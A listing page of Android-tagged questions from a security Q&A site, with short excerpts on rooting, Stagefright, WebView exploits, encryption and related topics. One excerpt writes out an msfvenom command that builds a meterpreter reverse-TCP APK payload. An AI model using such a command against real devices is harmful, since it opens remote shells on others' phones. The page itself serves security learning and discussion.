Android is an operating system for mobile devices such as smartphones and tablet computers. Questions tagged [Android] should focus on security of the operating system itself, or of Android specific apps

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How to root a virtual device in android-sdk?

I was amused to see no one have ever asked such a question here before. After a little research in google I found only a few links to root a device in avd. Somewhere I also read that the sdk is ...
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Are deleted offline calendar events in Android actually deleted?

When an Android app deletes a calendar event in a local (offline / non-synced) calendar, does Android's Calendar Storage (com.android.providers.calendar) actually delete the event or does it just flag ...
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Attempting Android Stagefright on Virtual Software

Does anyone know how I can exploit an android vm using stagefright? I can't use the android AVK because it doesn't support MMS.
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Securely storing users PIN on Android with fingerprint authentication

I am have an Android app where the user can enter a pin specific to a particular phone to save them entering the full password. I'm now looking at the new fingerprint reader API on Android M where I ...
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Security token in android and embedded system

I have an embedded board with a very limited processing and memory resource. I would like to control the board using an android app. The users are categorized into 3 groups: owner of the board. ...
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Google/Apple account for corporate issued mobile phones

We are working on implementing MDM (Airwatch) for all corporate mobile devices (no BYOD will be allowed). But I have a question as what is the best way to avoid users use their personal Gmail or ...
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common crypto and bouncy castle, PBKDF2 generation

I am working on an iOS app and android app, for iOS I am using common crypto, and for android bouncy castle. I noticed that in android when I generate PBKDF2, if I use a salt or pass ...
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web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
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How to crack (get secret from) Android Keystore System

I am looking for the best way to protect sensitive data in Android devices, e.g. secret or private keys, and found Android Keystore System. Based on the documentation, key material may be bound to ...
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Diffie Hellman Key Exchange in a messaging application

I'm currently a student that is trying to develop a messaging application on android using java that will implement diffie hellman key exchange in order to ensure that they both will be able to ...
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Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
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Android Rooting and Evil Maid Attacks

I'm trying to learn more about full disk encryption (in the context of a Linux based server) and what schemes offer true security and which only offer the illusion of security. As I understand it, ...
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How to “stealthily” call a Java function to avoid text search?

Assume I am an attacker, I want to call an API function from an Android app, say Build.getRadioVersion(). But I want to keep this call stealthy, i.e., it cannot be searched through, e.g., grep ...
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Charles Proxy: Genymotion with certificate pinning

Is there anyway I can use charles proxy with an android app that is using certificate pinning? I read this thread: http://blog.attify.com/2015/08/24/intercepting-network-traffic-android/ and it says ...
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Are there any Android device dumps available to be used as datasets?

I'm interested in finding Android device data dumps so as to use in my PhD research, concerning data analysis. I have only been able to encounter two sources online; one of them unavailable at the ...
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Are Web Services vulnerable to CSRF?

I'm testing an android application, it uses web services for every action, so I saw the requests don't have tokens or another anti-automation mechanism, they just need to validate a token to identify ...
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Security implications of Android apps that require Accessibility access

Occasionally, an Android app will require access to Accessibility services. As an example, see App Hibernator. What are the security implications of allowing an app access to Android's Accessibility ...
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Have there been any known “in the wild” exploits of any Google Chrome (Android) 40.0.2214.89 vulnerabilities?

https://www.cvedetails.com/vulnerability-list/vendor_id-1224/product_id-15031/version_id-179594/Google-Chrome-40.0.2214.89.html I looked for any news about them and couldn't find anything. Anyone ...
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Do Android Security Measures Work on an Unlocked Bootloader?

Let's assume we have an Android device with: Unlocked bootloader Full Device Encryption Password lockscreen Will Android security measures (FDE and password lock) still be able to prevent data ...
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What are the appropriate steps to take after installing a questionable Android app?

Situation: User installed an Android app from the Google Play Store. User's device is rooted, but that app does not have root privileges. XPrivacy reveals that the app is trying to make IPC (inter-...
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Access android internal storage for full passive deep malware scan?

Is it possible to passively (with a computer) view/scan all content on an android mobile device's internal storage without crackopen/damaging it? For a deep malware scan of the whole storage of the ...
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CVE-2015-3864 - Android Stagefright - how Integer Overflow happens here?

I am trying to understand how "Integer Overflow" happens here and how it works. The vulnerability exists in the chunk of “tx3g”. Chunk_size is the unit which overflows the sum of size. That's to say, ...
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What is the point of signature file in signed JAR/ZIP files

The way JAR signatures (or ZIP for Android) are designed is that they have a manifest file, containing digest for each file in the archive. Then there is a "signature file" that contains digest of ...
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How to know which file is being sent in POST request by Android device?

I am using an Android Device. I make apps and generally use Burp Proxy to try to debug how my app's requests-response works. Recently I have noticed some anonymous request being sent by my device ...
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VPN Server + Anonymity + Adblock for mobile Devices

In order to improve private security and anonymity while browsing the web on my mobile devices I wanted to tunnel all traffic to my own server via VPN and use a proxy software to filter unwanted (...
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Android app downgrading TLS protocol to SSL 3.0

I performed vulnerability testing of some Android mobile applications I helped develop and I noticed some odd behavior. The applications used the default Android 5.0.2 cipher suite list that includes ...
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Android 5 encryption

There's been lots of talk about the allegedly improved encryption in Android 5. Some questions about this: What is the maximum length for passphrases? (i.e. is it still limited to 16 characters?) ...
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Codeigniter RESTful web api creation for mobile and web applications general guidelines

I'm having application with running good in codeigniter, mysql and jquery. Currently we are planning to evaluate our web application with mobile application. So we planned to develop web application, ...
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Force TLS on mobile app

i'm developing a mobile application for iOS and Android. On this app i'm asking resources on a secure server through ajax. Server's developers asked me to force the call in order that we use TLS ...
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version support policy for BYOD devices

In corporate environments where users bring their own devices for access to corporate resources, how can we determine which Android devices are currently supported and receiving security updates? For ...
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Does BlueBox “Fake ID” vulnerability break protectionLevel: “Signature”?

Referring to this vuln: http://bluebox.com/technical/android-fake-id-vulnerability/ and this permission: http://developer.android.com/guide/topics/manifest/permission-element.html "signature" ...
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Is a android app signing certificate unique?

The Certificates that are used to sign Android applications are generated by the user and not checked or signed by any authority. They are RSA or DSA Certificates and as i read on crypt.stackexchange....
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Implementation of different BCrypt versions

I'm fairly new to encryption, and I am investigating the different kind of encryptions. I want to encrypt passwords in a secure way. I discussed this with my colleague, and he said that BCrypt is the ...
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Security risks with setDomStorageEnabled(true) in Android?

What are the security risks associated with enabling setDomStorageEnabled(true) method? Reference.
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Pop up in Facebook built-in browser

While I was visiting a page on a usual website with the built-in browser of the Android Facebook app, a pop-up just... poped-up, saying dumb stuff about my cellphone being full of viruses, etc. (Quite ...
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Attacker's Potential Scope of Dmg if He/She can SSH into Android Phone

I've recently started researching the ability to SSH into an Android device. From what I've seen, this is a figured out challenge, which makes me wonder how much damage an attacker could do. Let's ...
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Android client side data encoding/encryption bypass

I am working on Android application security project where Android application sends all data in encryption from client side only. I assume that there must be a file at client side which might be ...
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Stagefright 2.0 - CVE-2015-3876 fix

Im currently studying Stagefright2.0 bugs. I'm wondering how the CVE-2015-3876 was fixed. I know it was caused by an integer overflow and the fix can be found here: https://android.googlesource.com/...
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Can I secure android device(root is an option) running Lollipop from public security holes like Stagefrigh?

I checked the device with VTS for Android and it got some publicly known security holes. Marshmallow is not an option. So is there any way to secure a device running Lollipop from Stagefright etc by ...
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How to decrypt a microSD card after a factory reset of the device used to encrypt it?

Two month ago, I encrypted my Micro SD card in my Android device (Samsung Galaxy S5) for security purposes, and yesterday I forgot to decrypt it whilst removing the card I and factory resetting the ...
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Android vs iPhone encryption

I'm really curious to know what the technologies behind Android and iPhone are in regards to encryption. I know Android was supposed to go with encryption by default like iOS 8.0 and beyond and never ...
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Android Protection against Cellebrite UFED

I have been scavenging the Internet (meaning, primarily, XDA, Reddit, and security.stackexchange) for information on methods to keep Cellebrite UFED out of a phone. It is a mobile forensics tool that ...
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How does protection of code and applications work in Java?

I am not sure this kind of question is correct for this place, but I will ask as I can not find a better place to ask. I have started thinking about making money out of my own code and as such it is ...
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Is it possible to write an SEAndroid permission that enables only one app (subject) to access a device (object)?

We're interested in writing an SELinux policy for an Android build that enables a device (e.g. /dev/target) to be accessed by a single app and only that app. The app is a user-space app that's ...
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Tradeadexchange everywhere. On my mac, android and every browser

The tradeadexchange malware seems to have infected me in every possible way. It pops up new tabs whenever I am browsing on my Mac or Android devices, and also in any browser-Firefox/Chrome/.. ...
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Are Android Facebook OAuth tokens vulnerable to theft?

If I have access to someone's unlocked Android phone, is it possible to get hold of their OAuth token for Facebook and use it on another device?
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How can I protect a mobile application from LogJam?

I develop a two-factor authentication app on iOS and Android and I recently noticed that they run perfectly fine against a local dev server that is vulnerable to LogJam. Is there any way to secure ...
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Facebook app permissions

According to an answer to this question : Bypass app permissions, I changed by curiosity the application permission of Facebook and Messenger for the camera to always ask. I'm using CyanogenMod 12.0. ...
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injecting javascript in webviews in Android

I am relatively new to mobile application security. Currently I am supposed to audit an android application which uses a webview to display some static FAQ page in an activity. The webview in ...
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Silent security on android

I saw a DEFCON talk about owning back a stolen PC/Mac, with a SSHd daemon and a dynamic-ip service installed,running in background. I was wondering if is it possible to achieve tha same results on an ...